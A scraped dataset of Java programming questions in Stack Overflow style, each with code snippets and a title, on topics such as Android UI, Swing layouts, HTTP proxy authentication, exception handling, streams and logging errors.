WindowManager.LayoutParams.FLAG_FULLSCREEN , WindowManager.LayoutParams.FLAG_FULLSCREEN ) ; setContentView ( R.layout.dutyfree ) ; ActionBar bar = getActionBar ( ) ; bar.setBackgroundDrawable ( new ColorDrawable ( Color.parseColor ( `` # FF6600 '' ) ) ) ; // Declare object of Utils class ; Gallery gallery = ( Gallery ) findViewById ( R.id.gallery1 ) ; gallery.setAdapter ( new ImageAdapter ( this ) ) ; gallery.setOnItemClickListener ( new OnItemClickListener ( ) { public void onItemClick ( AdapterView < ? > arg0 , View arg1 , int arg2 , long arg3 ) { if ( i==0 ) { i++ ; func ( ) ; } flag=1 ; imgBus.setImageResource ( imgs [ arg2 ] ) ; } } ) ; imgBus = ( ImageSwitcher ) findViewById ( R.id.imageSwitcher1 ) ; imgBus.setBackgroundResource ( R.drawable.anim ) ; imgBus.setInAnimation ( AnimationUtils.loadAnimation ( this , android.R.anim.fade_in ) ) ; imgBus.setOutAnimation ( AnimationUtils.loadAnimation ( this , android.R.anim.fade_out ) ) ; animation = ( AnimationDrawable ) imgBus.getBackground ( ) ; animation.start ( ) ; new Thread ( new Runnable ( ) { @ Override public void run ( ) { // TODO Auto-generated method stub while ( true ) { try { Thread.sleep ( 5000 ) ; mHandler.post ( new Runnable ( ) { @ Override public void run ( ) { // TODO Auto-generated method stub // Write your code here to update the UI . if ( flag==1 ) { animation.start ( ) ; } } } ) ; } catch ( Exception e ) { // TODO : handle exception } } } } ) .start ( ) ; } public class ImageAdapter extends BaseAdapter { private Context ctx ; public ImageAdapter ( Context c ) { ctx = c ; } public int getCount ( ) { return imgs.length ; } public long getItemId ( int arg0 ) { return arg0 ; } public View getView ( int arg0 , View arg1 , ViewGroup arg2 ) { ImageView iView = new ImageView ( ctx ) ; iView.setImageResource ( imgs [ arg0 ] ) ; iView.setScaleType ( ImageView.ScaleType.FIT_XY ) ; iView.setLayoutParams ( new Gallery.LayoutParams ( 200 , 150 ) ) ; return iView ; } @ Override public Object getItem ( int position ) { // TODO Auto-generated method stub return null ; } } public View makeView ( ) { ImageView iView = new ImageView ( this ) ; iView.setScaleType ( ImageView.ScaleType.FIT_CENTER ) ; iView.setLayoutParams ( new ImageSwitcher.LayoutParams ( LayoutParams.MATCH_PARENT , LayoutParams.MATCH_PARENT ) ) ; iView.setBackgroundColor ( 0xFF000000 ) ; return iView ; } }",Running Animation and image switcher at same time +Java,"I 'm working on a swing GUI , and i 'd like to overlay a button over a progressBar.I have already wrote the code which update the progress bar and the button event , but i do n't know how to manage the Layout ! currently the panel code is the following : which gives the following result : I 'm trying unsuccesfully to obtain this : Can anyone explain me which kind of Layout ( or whatever ) should i use , or link me same reference from which i can read how to do it ? ? UPDATE : by adding the following code , i managed to overly the 2 components , but i m still not able to enlarge the progress bar to fit the panel size :","public static void main ( String [ ] args ) throws IOException { JFrame myFrame = new JFrame ( `` myJfTitle '' ) ; myFrame.setLayout ( new BorderLayout ( ) ) ; JPanel myPanel = new JPanel ( ) ; JButton myButton = new JButton ( `` Click me '' ) ; JProgressBar myBar = new JProgressBar ( ) ; myBar.setValue ( 50 ) ; myPanel.add ( myButton ) ; myPanel.add ( myBar ) ; myFrame.add ( myPanel , BorderLayout.CENTER ) ; myFrame.setVisible ( true ) ; } LayoutManager overlay = new OverlayLayout ( myPanel ) ; myPanel.setLayout ( overlay ) ;",How to overlay a Jbutton over a JprogressBar +Java,"I have an application in Android , in which I were reading files from the remote server , code for reading file is given below ; Now all the remote files are behind proxy ( Microsoft ISA Server ) which required authentication to access the files . Please guide me how I can pass authentication parameters from android to access the files.I have tried the following codes but useless , But it ’ s giving HTTP1.1 500 Internal Server Error . I have also tried following link but same error https : //stackoverflow.com/a/10937857/67381","URI uri = null ; try { uri = new URI ( `` http : //192.168.1.116/Server1/Users.xml '' ) ; } catch ( URISyntaxException e ) { e.printStackTrace ( ) ; } HttpGet httpget = new HttpGet ( uri ) ; httpget.setHeader ( `` Content-type '' , `` application/json ; charset=utf-8 '' ) ; httpget.setHeader ( `` host '' , `` 192.168.1.116 '' ) ; HttpResponse response = null ; try { response = httpClient.execute ( httpget ) ; } catch ( ClientProtocolException e ) { e.printStackTrace ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } HttpEntity responseEntity = response.getEntity ( ) ; String result = null ; try { result = EntityUtils.toString ( responseEntity ) ; Log.d ( `` SERVER1 '' , result ) ; } catch ( ParseException e ) { e.printStackTrace ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } URL uri = null ; try { uri = new URI ( `` http : // 192.168.1.116/CookieAuth.dll ? Logon '' ) ; } catch ( URISyntaxException e ) { e.printStackTrace ( ) ; } DefaultHttpClient httpclient = new DefaultHttpClient ( ) ; httpclient.getCredentialsProvider ( ) .setCredentials ( AuthScope.ANY , new NTCredentials ( username , password , deviceIP , domainName ) ) ; HttpPost httppost = new HttpPost ( uri ) ; httppost.setHeader ( `` Content-type '' , `` application/x-www-form-urlencoded '' ) ; List < NameValuePair > params = new ArrayList < NameValuePair > ( ) ; params.add ( new BasicNameValuePair ( `` curl '' , `` Z2FServer1/users.xmlZ2F '' ) ) ; params.add ( new BasicNameValuePair ( `` formdir '' , `` 3 '' ) ) ; params.add ( new BasicNameValuePair ( `` username '' , `` test '' ) ) ; params.add ( new BasicNameValuePair ( `` password '' , `` test '' ) ) ; UrlEncodedFormEntity ent = null ; try { ent = new UrlEncodedFormEntity ( params , HTTP.UTF_8 ) ; } catch ( UnsupportedEncodingException e1 ) { // TODO Auto-generated catch block e1.printStackTrace ( ) ; } httppost.setEntity ( ent ) ; try { response = httpclient.execute ( httppost ) ; Log.i ( `` Test '' , response.getStatusLine ( ) .toString ( ) ) ; HttpEntity entity = response.getEntity ( ) ; if ( entity ! = null ) { InputStream instream = entity.getContent ( ) ; result = convertStreamToString ( instream ) ; Log.d ( `` ISA Server '' , result ) ; instream.close ( ) ; } } catch ( Exception e ) { e.printStackTrace ( ) ; }",Microsoft ISA Server Authentication in Android +Java,"I was tracking down a bug today , and I noticed something strange within one of our classes . I cut out as much code as possible to post here : This class has 3 methods with the exact same name and signature . At first I thought this was invalid code , but then eclipse would have highlighted the code in red . It does work : So I figured maybe Java will just use the first one it sees . I reordered to test : Nope , same result : I thought perhaps it uses the one with 42 because its the biggest . To test this , I took the original and changed the return values : It still knows to use the first one : And if I reorder them again : Same result : I thought Java was a text based language , which I 'd expect makes this sort of thing impossible . How is Java tracking which method is which ?",class A { static int obtainNumber ( ) { return 42 ; } static int obtainNumber ( ) { return 3 ; } static int obtainNumber ( ) { return -1 ; } static { System.out.println ( obtainNumber ( ) ) ; } } javac A.java & & java A42Exception in thread `` main '' java.lang.NoSuchMethodError : main class A { static int obtainNumber ( ) { return 3 ; } static int obtainNumber ( ) { return -1 ; } static int obtainNumber ( ) { return 42 ; } static { System.out.println ( obtainNumber ( ) ) ; } } javac A.java & & java A42Exception in thread `` main '' java.lang.NoSuchMethodError : main class A { static int obtainNumber ( ) { return 0 ; } static int obtainNumber ( ) { return 1 ; } static int obtainNumber ( ) { return 2 ; } static { System.out.println ( obtainNumber ( ) ) ; } } javac A.java & & java A0Exception in thread `` main '' java.lang.NoSuchMethodError : main class A { static int obtainNumber ( ) { return 1 ; } static int obtainNumber ( ) { return 0 ; } static int obtainNumber ( ) { return 2 ; } static { System.out.println ( obtainNumber ( ) ) ; } } javac A.java & & java A0Exception in thread `` main '' java.lang.NoSuchMethodError : main,How does Java distinguish these multiple methods with the same name/signature ? +Java,I run this code : and I expect to see this at output : but surprisingly the output is : I 'm confused . where goes return 2 statement ? Is return at finally a bad-practice ?,public static void main ( String [ ] args ) { System.out.println ( catcher ( ) ) ; } private static int catcher ( ) { try { System.out.println ( `` TRY '' ) ; thrower ( ) ; return 1 ; } catch ( Exception e ) { System.out.println ( `` CATCH '' ) ; return 2 ; } finally { System.out.println ( `` FINALLY '' ) ; return 3 ; } } private static void thrower ( ) { throw new RuntimeException ( ) ; } TRYCATCHFINALLY2 TRYCATCHFINALLY3,amazing output for try/catch/finally ? +Java,"I 'm studying the new Stream API for the OCP exam and I found something that I do n't really understand . Here 's my code : Here I have a static method called compare and a non-static one called compare . If I call the compare method from the non-static method I get a compiler warning : The method compare ( Integer , Integer ) from the type TestStream should be accessed in a static wayIf I instead use a method reference to that same method in my stream , that compiler warning becomes a compiler error with the same message.I know why I get the warning but I do n't get why this warning becomes a compilation error if I use a method reference . I did n't find anything online either . Can someone explain it to me ?","void methodOne ( ) { this.compare ( 1 , 2 ) ; // This works fine . Stream.of ( 1,2,3 ) .sorted ( this : :compare ) ; // Compilation error . } static Integer compare ( Integer s1 , Integer s2 ) { return 0 ; }",Java 8 : method reference to a static method in a non-static way +Java,"I am trying to add a million objects into a list . The time it takes to do it , is longer than i have patience to wait for . It also seems to take progressively longer to carry on with each step.I tried adding content to the List , Set with very similar results . It starts up fast and chokes after some number.What collection should i be using to store a large number of like elements ? Am i missing something simple here ?","int size = 1000000 ; Deque < DatastoreElement > content = new LinkedList < DatastoreElement > ( ) ; for ( int i = 0 ; i < size ; i++ ) { String k = Utils.getRandomStringOfLength ( 20 ) ; String v = Utils.getRandomStringOfLength ( 300 ) ; // goes faster with smaller number int metaHash = random.nextInt ( 10 ) + 1 ; KVPair kvp = new KVPair ( k , v ) ; DatastoreElement dse = new DatastoreElement ( metaHash , kvp ) ; content.addLast ( dse ) ; // confirmed problem is here if ( i % 10000 == 0 ) { System.out.println ( i ) ; } }","Adding to a large Java collection , performance bottleneck" +Java,"I am implementing a Java interface containing variadic methods like so : Is it possible to implement this interface in Scala ? Variadic functions are handled differently in Scala , so the following wo n't work : Is this even possible ?",interface Footastic { void foo ( Foo ... args ) ; } class Awesome extends Footastic { def foo ( args : Foo* ) : Unit = { println ( `` WIN '' ) ; } // also no good : def foo ( args : Array [ Foo ] ) : Unit = ... },How can I implement a Java interface with variadic methods in Scala ? +Java,I ’ m trying to implement a caps lock alert on password field . If caps lock is ON then the bubble will appear below the password field . I ’ ve searched a lot but didn ’ t get any solution that how can I implement such bubble on input fields in JavaFX . I ’ ve found some source code to get the caps lock state . But my problem is how to implement the bubble alert on text field.Here you can see what I have to do . It would be helpful if you suggest me some possible ways as I ’ m new in JavaFX . Is there any JavaFX library to do such bubble alert on input fields ?,boolean isOn=Toolkit.getDefaultToolkit ( ) .getLockingKeyState ( KeyEvent.VK_CAPS_LOCK ) ; scene.setOnKeyReleased ( event - > { if ( event.getCode ( ) == KeyCode.CAPS ) { System.out.println ( `` Capslock pressed '' ) ; System.out.println ( `` Capslock state : `` + isOn ) ; } } ) ;,How to implement CAPS LOCK alert bubble on password field in JavaFX ? +Java,"I have a piece logging and tracing related code , which called often throughout the code , especially when tracing is switched on . StringBuilder is used to build a String . Strings have reasonable maximum length , I suppose in the order of hundreds of chars.Question : Is there existing library to do something like this : To take advantage of this , my logging-related class would have a shared capRef variable with suitable scope . ( Bonus Question : I 'm curious , is it possible to do syncCap ( ) without looping ? ) Motivation : I know default length of StringBuilder is always too little . I could ( and currently do ) throw in an ad-hoc intitial capacity value of 100 , which results in resize in some number of cases , but not always . However , I do not like magic numbers in the source code , and this feature is a case of `` optimize once , use in every project '' .","// in reality , StringBuilder is final , // would have to create delegated version instead , // which is quite a big class because of all the append ( ) overloadspublic class SmarterBuilder extends StringBuilder { private final AtomicInteger capRef ; SmarterBuilder ( AtomicInteger capRef ) { int len = capRef.get ( ) ; // optionally save memory with expense of worst-case resizes : // len = len * 3 / 4 ; super ( len ) ; this.capRef = capRef ; } public syncCap ( ) { // call when string is fully built int cap ; do { cap = capRef.get ( ) ; if ( cap > = length ( ) ) break ; } while ( ! capRef.compareAndSet ( cap , length ( ) ) ; } }",Existing solution to `` smart '' initial capacity for StringBuilder +Java,"For a long time I measured passed time using System.currentTimeMillis ( ) and only recently figured out that I can also use nanoTime ( ) . However some results were not what I expected , as nanoTime measures the time from an arbitrary point in time instead of 01-01-1970 as currentTimeMillis does.From the JavaDoc for nanoTime : Returns the current value of the most precise available system timer , in nanoseconds . This method can only be used to measure elapsed time and is not related to any other notion of system or wall-clock time . The value returned represents nanoseconds since some fixed but arbitrary time ( perhaps in the future , so values may be negative ) . This method provides nanosecond precision , but not necessarily nanosecond accuracy . No guarantees are made about how frequently values change . Differences in successive calls that span greater than approximately 292 years ( 263 nanoseconds ) will not accurately compute elapsed time due to numerical overflow . For example , to measure how long some code takes to execute : I am confused by the arbitrary part . Measuring the passed time is only accurate if the reference timestamp is the same for both calls . However in the API documentation this is not guaranteed . I think that this was the cause for my mentioned issues . The time that is used is an implementation detail and therefore I can not rely on it.I am wondering about , when I can make good use of nanoTime and in which cases it goes horribly wrong . The main use cases that come to mind are : Comparing nanoTime timestamps from different threadsComparing nanoTime timestamps from different instances of the same JVM ( think , serialized timestamp from a previous application run , or passed as part of a message to a different JVM ) Comparing nanoTime timestamps in different JVM implementationsThere are some posts here on StackOverflow that address part of the issue , but largely leave the issue of the choosing of the time open : System.currentTimeMillis vs System.nanoTimeIs System.nanoTime ( ) completely useless ? Especially the link in the last one makes it clear that there are limitations when nanoTime can be used , but without knowing these limitations exactly it seems inherently unsafe to use it at all as the functionality that is built upon it may fail .",long startTime = System.nanoTime ( ) ; // ... the code being measured ... long estimatedTime = System.nanoTime ( ) - startTime ;,Passed time with nanoTime ( ) +Java,"I currently encounter a problem deleting a file that I never use in my program.First , here is my config : java version : 1.8.0_20 os : Windows 7 Pro SP1The code is as follow : The output error trace is : This error is solved if I uncomment System.gc ( ) which , in my opinion , is bad . It seems like Windows is holding some resources on the file even if it is never used.My question is : How can I solve this problem without using System.gc ( ) ? Thanks by advance","File out = new File ( workingDirectory , filePrefix + `` download '' ) ; // cleanup old failed runs //System.gc ( ) ; // Bad ! but seems the only way to pass the test boolean isDeleted = out.delete ( ) ; assertTrue ( `` Could n't clear output location ( `` + `` isDeleted= '' +isDeleted + `` exists= '' +out.exists ( ) + `` canWrite= '' +out.canWrite ( ) + `` ) '' , ! out.exists ( ) ) ; junit.framework.AssertionFailedError : Could n't clear output location ( isDeleted=false exists=true canWrite=true ) at [ ... ]",File.delete ( ) do n't delete new File if System.gc ( ) is not called +Java,"I 'm sorry . I 'm sure this has been answered somewhere here before . However , I ca n't find it . Essentially , I have a try/catch block where I seem to get a warning or error no matter what I do . catch ( IOException e ) results in a `` too broad '' warning . catch ( FileNotFoundException e ) results in errors from code that requires an IOException catch . catch ( FileNotFoundException | IOException e ) results in a `` types in multi-catch must be disjoint '' error . Finally , putting two catch blocks ( one for each exception ) results in a `` 'catch ' branch identical to 'FileNotFoundException ' '' warning.I do n't want to edit IntelliJ 's warning system as it is useful.How can I make the try/catch block below work without warnings or errors ?","@ Overridepublic void readFile ( File inFile ) { try { FileReader fr = new FileReader ( inFile ) ; BufferedReader br = new BufferedReader ( fr ) ; // get the line with the sizes of the puzzle on it String sizes = br.readLine ( ) ; // find the height of the puzzle int height = Character.getNumericValue ( sizes.charAt ( 0 ) ) ; // create a puzzleArr with a height this.puzzleArr = new char [ height ] [ ] ; // create the char [ ] array of the puzzle itself int ct = 0 ; String puzzleLine ; // add the puzzle to puzzleArr while ( ct < this.puzzleArr.length ) { puzzleLine = br.readLine ( ) .replaceAll ( `` [ ^a-z ] '' , `` '' ) ; this.puzzleArr [ ct++ ] = puzzleLine.toCharArray ( ) ; } // create the LinkedList < char [ ] > of words to find in the puzzle String line = br.readLine ( ) ; while ( line ! = null ) { line = line.toLowerCase ( ) .replaceAll ( `` [ ^a-z ] '' , `` '' ) ; this.wordList.add ( line.toCharArray ( ) ) ; line = br.readLine ( ) ; } br.close ( ) ; } catch ( FileNotFoundException e ) { e.printStackTrace ( ) ; } }",How to get rid of IntelliJ warnings/errors on try/catch block 's IOException catch ? +Java,"In Java we can catch exceptions of a certain type : Now , there can by many causes to an Exception , in this case , the IOException can be : from a specific library or some other like : If something went wrong with a StreamNow , my question is , how do I determine what kind of IOException happened ? How do I distinguish between a Stream closed and Illegal character in path at index ... ? Of course I can just check the String of the exception message but I do n't think it 's the best way since the underlying library/implementation can change the message string.EDIT : e.getClass ( ) in this case returns java.io.IOException for almost everything ... I guess the library throws their own IOException while discarding any original Exception .",try { // Code that does IO like download a file ... } catch ( IOException ioe ) { ioe.printStackTrace ( ) ; // handle ioe } catch ( SomeOtherException soe ) { // handle soe } java.io.IOException : Illegal character in path at index ... .. java.io.IOException : Stream closed ...,Java identify an Exception precisely +Java,"Some time ago an interesting question had been asked : I decided to prove that it is possible using Java 8 Stream API ( parallel streams , to be precise ) . Here is my code that works in very rare cases : And then I thought , maybe it 's because of potential JIT compiler optimizations ? Therefore , I tried to run the code with the following VM option : I disabled the JIT and the number of success cases has increased significantly ! How does just-in-time compiler optimize parallel streams so that the optimization might impact the above code execution ?","Can ( a == 1 & & a == 2 & & a == 3 ) evaluate to true in Java ? class Race { private static int a ; public static void main ( String [ ] args ) { IntStream.range ( 0 , 100_000 ) .parallel ( ) .forEach ( i - > { a = 1 ; a = 2 ; a = 3 ; testValue ( ) ; } ) ; } private static void testValue ( ) { if ( a == 1 & & a == 2 & & a == 3 ) { System.out.println ( `` Success '' ) ; } } } -Djava.compiler=NONE",How does just-in-time compiler optimizes Java parallel streams ? +Java,"How can I check if a stream instance has been consumed or not ( meaning having called a terminal operation such that any further call to a terminal operation may fail with IllegalStateException : stream has already been operated upon or closed . ? Ideally I want a method that does not consume the stream if it has not yet been consumed , and that returns a boolean false if the stream has been consumed without catching an IllegalStateException from a stream method ( because using Exceptions for control flow is expensive and error prone , in particular when using standard Exceptions ) .A method similar to hasNext ( ) in Iterator in the exception throwing and boolean return behavior ( though without the contract to next ( ) ) .Example : The goal is to fail early if client code calls this method without consuming the stream.It seems there is no method to do that and I 'd have to add a try-catch block calling any terminal operation like iterator ( ) , catch an exception and throw a new one.An acceptable answer can also be `` No solution exists '' with a good justification of why the specification could not add such a method ( if a good justification exists ) . It seems that the JDK streams usually have this snippets at the start of their terminal methods : So for those streams , an implementation of such a method would not seem that difficult .","public void consume ( java.util.function.Consumer < Stream < ? > > consumer , Stream < ? > stream ) { consumer.accept ( stream ) ; // defensive programming , check state if ( ... ) { throw new IllegalStateException ( `` consumer must call terminal operation on stream '' ) ; } } // in AbstractPipeline.javaif ( linkedOrConsumed ) throw new IllegalStateException ( MSG_STREAM_LINKED ) ;",Check if java stream has been consumed +Java,"I want to know the request.body.asFormUrlEncoded contains deviceId or not.is there any way of conatins or any other function for Option [ Map [ String , Seq [ String ] ] ]",val formValues=request.body.asFormUrlEncodedval number = formValues.get ( `` mobile '' ) .headvar deviceId = '' deviceIdNotFound '' if ( condtion ) //thats the problemdeviceId= formValues.get ( `` deviceId '' ) .head,"how to know from Option [ Map [ String , Seq [ String ] ] ] contains key or not ?" +Java,"I have an input string with a very simple pattern - capital letter , integer , capital letter , integer , ... and I would like to separate each capital letter and each integer . I ca n't figure out the best way to do this in Java.I have tried regexp using Pattern and Matcher , then StringTokenizer , but still without success.This is what I want to do , shown in Python : For input `` A12R5F28 '' the result would be :","for token in re.finditer ( `` ( [ A-Z ] ) ( \d* ) '' , inputString ) : print token.group ( 1 ) print token.group ( 2 ) A12R5F28",How to parse a string in Java ? Is there anything similar to Python 's re.finditer ( ) ? +Java,"In Python , I often have tests which look something like this : What is the `` right '' way to write tests like this ( where a set of test cases is specified , then a loop runs each of them ) in Java with JUnit ? Thanks ! Preemptive response : I realize I could do something like : But ... I 'm hoping there is a better way .","tests = [ ( 2 , 4 ) , ( 3 , 9 ) , ( 10 , 100 ) , ] for ( input , expected_output ) in tests : assert f ( input ) == expected_output assertEquals ( 4 , f ( 2 ) ) assertEquals ( 9 , f ( 3 ) ) ... .",What is the `` right '' way to test the output of Java methods ? +Java,"I 've coded an app that streams audio over TCP from client to server but it does not work , i.e . no audible output . Could you check my code tell me whats wrong with it ? Client : Server : public void startStreaming ( ) { Thread streamThread = new Thread ( new Runnable ( ) { Please give me your best help .","public void startStreaming ( ) { Thread streamThread = new Thread ( new Runnable ( ) { @ Override public void run ( ) { try { int minBufSize =AudioRecord.getMinBufferSize ( sampleRate , channelConfig , audioFormat ) ; Log.d ( `` VD `` , `` Bufer intioalised `` +minBufSize ) ; short [ ] buffer=new short [ minBufSize ] ; Log.d ( `` VS '' , '' Buffer created of size .c '' + minBufSize ) ; // DatagramPacket packet ; final InetAddress destination = InetAddress.getByName ( target.getText ( ) .toString ( ) ) ; port=Integer.parseInt ( target_port.getText ( ) .toString ( ) ) ; Socket socket=new Socket ( destination , port ) ; DataOutputStream dos=new DataOutputStream ( new BufferedOutputStream ( socket.getOutputStream ( ) ) ) ; Log.d ( `` VS '' , `` Address retrieved.c '' ) ; if ( minBufSize ! = AudioRecord.ERROR_BAD_VALUE ) { recorder = new AudioRecord ( MediaRecorder.AudioSource.MIC , sampleRate , channelConfig , audioFormat , minBufSize ) ; Log.d ( `` VS '' , `` Recorder initialized.c '' ) ; } if ( recorder.getState ( ) == AudioRecord.STATE_INITIALIZED ) { Log.d ( `` VS '' , `` Recorder working ... .c '' ) ; recorder.startRecording ( ) ; } BufferedWriter input ; while ( status == true ) { //reading data from MIC into buffer int bufferReadResult = recorder.read ( buffer , 0 , buffer.length ) ; dos.write ( buffer,0 , bufferReadResult ) ; dos.flush ( ) ; } } catch ( UnknownHostException e ) { e.printStackTrace ( ) ; } catch ( IOException e ) { Log.e ( `` IOException message : '' , e.getMessage ( ) .toString ( ) ) ; } } @ Override public void run ( ) { try { int minBufSize =1024 ; //recorder.getMinBufferSize ( sampleRate , channelConfig , audioFormat ) ; ServerSocket serversocket = new ServerSocket ( 50005 ) ; // DatagramSocket socket = new DatagramSocket ( 50005 ) ; byte [ ] buffer = new byte [ 1024 ] ; if ( minBufSize ! = AudioRecord.ERROR_BAD_VALUE ) { speaker = new AudioTrack ( AudioManager.STREAM_MUSIC , sampleRate , channelConfig , audioFormat , minBufSize , AudioTrack.MODE_STREAM ) ; speaker.play ( ) ; Log.d ( `` VR '' , `` spekaer playing ... '' ) ; } // } Log.d ( `` VR '' , `` '' +status ) ; BufferedReader input ; InputStream is ; ObjectInputStream ois ; ByteArrayInputStream baiss ; socket = serversocket.accept ( ) ; DataInputStream dis=new DataInputStream ( new BufferedInputStream ( socket.getInputStream ( ) ) ) ; while ( status == true ) { //DatagramPacket packet = new DatagramPacket ( buffer , buffer.length ) ; InputStream in = socket.getInputStream ( ) ; Log.d ( `` content : '' , socket.getOutputStream ( ) .toString ( ) ) ; int i=0 ; while ( dis.available ( ) > 0 & & i < buffer.length ) { buffer [ i ] = ( byte ) dis.readShort ( ) ; i++ ; } speaker.write ( buffer,0 , buffer.length ) ;",Streaming voice over tcp +Java,According to this article : https : //blogs.oracle.com/java-platform-group/planning-safe-removal-of-under-used-endorsed-extension-directoriesthe jre/lib/ext removed in Java 9.My problem is that I am using Jarsigner which in previous Java versions found my provider jar in the jre/lib/ext folder.How can I solve it ?,jarsigner -tsa timestamp.digicert.com -verbose -keystore NONE -storetype PKCS11 -storepass null -providername < MY_PROVIDER_NAME > < JAR_FILE > < CERTIFICATE_NAME >,Jarsigner issue with jre/lib/ext removal +Java,"Either I 'm too stupid to use google , or nobody else encountered this problem so far.I 'm trying to compile the following code : Howerer , in the line `` return _this ; '' I get the error `` Type mismatch : can not convert from MyClass to T '' Why is this ? T extends MyClass , so where is the problem ? If I change the line to `` return ( T ) _this ; '' , i just get a warning about the unchecked cast , but I do n't like warnings ; - ) Is there a way to achieve what i want without an error or warning ?",public interface MyClass { public class Util { private static MyClass _this ; public static < T extends MyClass > T getInstance ( Class < T > clazz ) { if ( _this == null ) { try { _this = clazz.newInstance ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } return _this ; } } },How to avoid `` Type mismatch '' in static generic factory method ? +Java,The code below produces the compiler error Variable HEIGHT might not have been initialized ( same goes for WIDTH ) .How can I declare an uninitialized static final variable like what I 'm trying to do below ?,"public static final int HEIGHT , WIDTH ; static { try { currentImage = new Image ( `` res/images/asteroid_blue.png '' ) ; WIDTH = currentImage.getWidth ( ) ; HEIGHT = currentImage.getHeight ( ) ; } catch ( SlickException e ) { e.printStackTrace ( ) ; } }",How to create uninitialised static final variables in Java +Java,"He , everyone ! My tests are running by jenkins from general package . Can I set test package in spock which will be runnning first and if in this package will not passed any of test the other tests should be skipped . I saw examples like this : But maybe spock has solution where I can use packages instead enum of each classes , because I have many test classes in other many packages.Also after i used runnerThe main thread doesnt stop . I dont know why.I want to do something like that : Or maybe exist more simple solution of this task . Thanks .","import org.junit.runner.RunWith ; import org.junit.runners.Suite ; @ RunWith ( Suite.class ) @ Suite.SuiteClasses ( { TestJunit1.class , TestJunit2.class } ) public class JunitTestSuite { } import org.junit.runner.JUnitCore ; import org.junit.runner.Result ; import org.junit.runner.notification.Failure ; public class TestRunner { public static void main ( String [ ] args ) { Result result = JUnitCore.runClasses ( JunitTestSuite.class ) ; for ( Failure failure : result.getFailures ( ) ) { System.out.println ( failure.toString ( ) ) ; } System.out.println ( result.wasSuccessful ( ) ) ; } } import org.junit.runner.RunWith ; import org.junit.runners.Suite ; @ RunWith ( Suite.class ) @ Suite.SuiteClasses ( { com.example.test . *.class } ) public class JunitTestSuiteFirst { } import org.junit.runner.RunWith ; import org.junit.runners.Suite ; @ RunWith ( Suite.class ) @ Suite.SuiteClasses ( { com.example.otherTest . *.class , com.example.otherTests2 . *.class } ) public class JunitTestSuiteFirst { } import org.junit.runner.JUnitCore ; import org.junit.runner.Result ; import org.junit.runner.notification.Failure ; public class TestRunner { public static void main ( String [ ] args ) { Result result = JUnitCore.runClasses ( JunitTestSuite.class ) ; for ( Failure failure : result.getFailures ( ) ) { System.out.println ( failure.toString ( ) ) ; } if ( result.wasSuccessful ( ) ) { JUnitCore.runClasses ( JunitTestSuite.class ) ; } else { System.out.println ( `` Build failed '' ) ; } } }",Spock order tests by packages +Java,"I 'm trying to make a program to generate a random account name for the user . The user will hit a button and it will copy the account name to his clipboard . The GUI part of it is working but I just ca n't think of the best way to handle random generation of a String.Allowed characters in the username : A-Z a-z _ No numbers , no other symbols , and no two of the same character in a row can occur.Must be of length six.My idea : Is there a better way ? Perhaps with regex ? I have a feeling the way I 'm thinking of doing it here is really bad .","create an array of characters : [ _ , a , b , c , d ... etc ] Generate a random integer between 0 and array.length - 1 and pick the letter in that slot.Check the last character to be added into the output String , and if it 's the same as the one we just picked , pick again.Otherwise , add it to the end of our String.Stop if the String length is of length six .",Algorithm to generate random string with harsh restrictions - Java +Java,"On innumerable ( well , numerable , but many ) occasions , especially within a method/function of a class , I 've been in a situation where I want to do a set of operations within a void-return function , but only if ( condition met ) . In most cases , I can see how ( assuming that the code works ) an else statement can be removed altogether by simply returning in the if block.Here 's a specific example , in case that did n't make sense : With an else statement ( how a teacher would show it ) Without ( more parsimonious ) I am thinking that removing the else statement , if an optimization at all , would be classified as a micro-optimization , but still figured I would ask for my own edification . In closing : Are there any benefits to using a return to remove an else block ? Does the compiler do extra work if I use an else statement ? Is there a reason to always use the else ( in case of errors , or for some other reason ) ?","private void ifThisDoThat ( params ) { if ( dependenciesNotMet ) return ; else { ////DO STUFF HERE ... } } private void ifThisDoThat ( params ) { if ( dependenciesNotMet ) return ; //Assuming the above does not execute , DO STUFF HERE ... }",Does an else statement slow compile time/run speed ? ( In situations where one could be avoided ) +Java,"All over our project , we have this kind of enums . They works just fine , but we are not sure about them . Specially with the getDocumentType ( String ) method . Is there a way to avoid the iteration over all the Enums field ? Edit : Check the newacct response . She 's fine too .","public enum DocumentType { UNKNOWN ( `` Unknown '' ) , ANY ( `` Any '' ) , ASSET ( Asset.class.getSimpleName ( ) ) , MEDIA ( Media.class.getSimpleName ( ) ) , MEDIA35MM ( Media.class.getSimpleName ( ) + `` 35mm '' ) ; private String label ; private DocumentType ( String label ) { this.label = label ; } public String getLabel ( ) { return label ; } public static DocumentType getDocumentType ( String label ) { for ( DocumentType documentType : DocumentType.values ( ) ) { if ( documentType.getLabel ( ) .equals ( label ) ) { return documentType ; } } return UNKNOWN ; } }",is my Enumeration correct ? +Java,"My application was running fine until I upgraded my jre to 7u40 . When my application is initializing , it 's doing Logger.getLogger ( `` ClassName '' ) , and I 'm getting the following exception.The exception is coming from this line : Could it be because of any sideeffects with fix http : //bugs.sun.com/bugdatabase/view_bug.do ? bug_id=8017174 ? A workaround is to open the java control center and enable logging . This is a concern since by default `` Enable Logging '' is unchecked . If I select `` Enable Logging '' , the application starts fine .",java.lang.ExceptionInInitializerError at java.util.logging.Logger.demandLogger ( Unknown Source ) at java.util.logging.Logger.getLogger ( Unknown Source ) at com.company.Application.Applet. < clinit > ( Unknown Source ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at com.sun.javaws.Launcher.executeApplication ( Unknown Source ) at com.sun.javaws.Launcher.executeMainClass ( Unknown Source ) at com.sun.javaws.Launcher.doLaunchApp ( Unknown Source ) at com.sun.javaws.Launcher.run ( Unknown Source ) at java.lang.Thread.run ( Unknown Source ) Caused by : java.lang.NullPointerException at java.util.logging.Logger.setParent ( Unknown Source ) at java.util.logging.LogManager $ 6.run ( Unknown Source ) at java.security.AccessController.doPrivileged ( Native Method ) at java.util.logging.LogManager.doSetParent ( Unknown Source ) at java.util.logging.LogManager.access $ 1100 ( Unknown Source ) at java.util.logging.LogManager $ LogNode.walkAndSetParent ( Unknown Source ) at java.util.logging.LogManager $ LoggerContext.addLocalLogger ( Unknown Source ) at java.util.logging.LogManager $ LoggerContext.addLocalLogger ( Unknown Source ) at 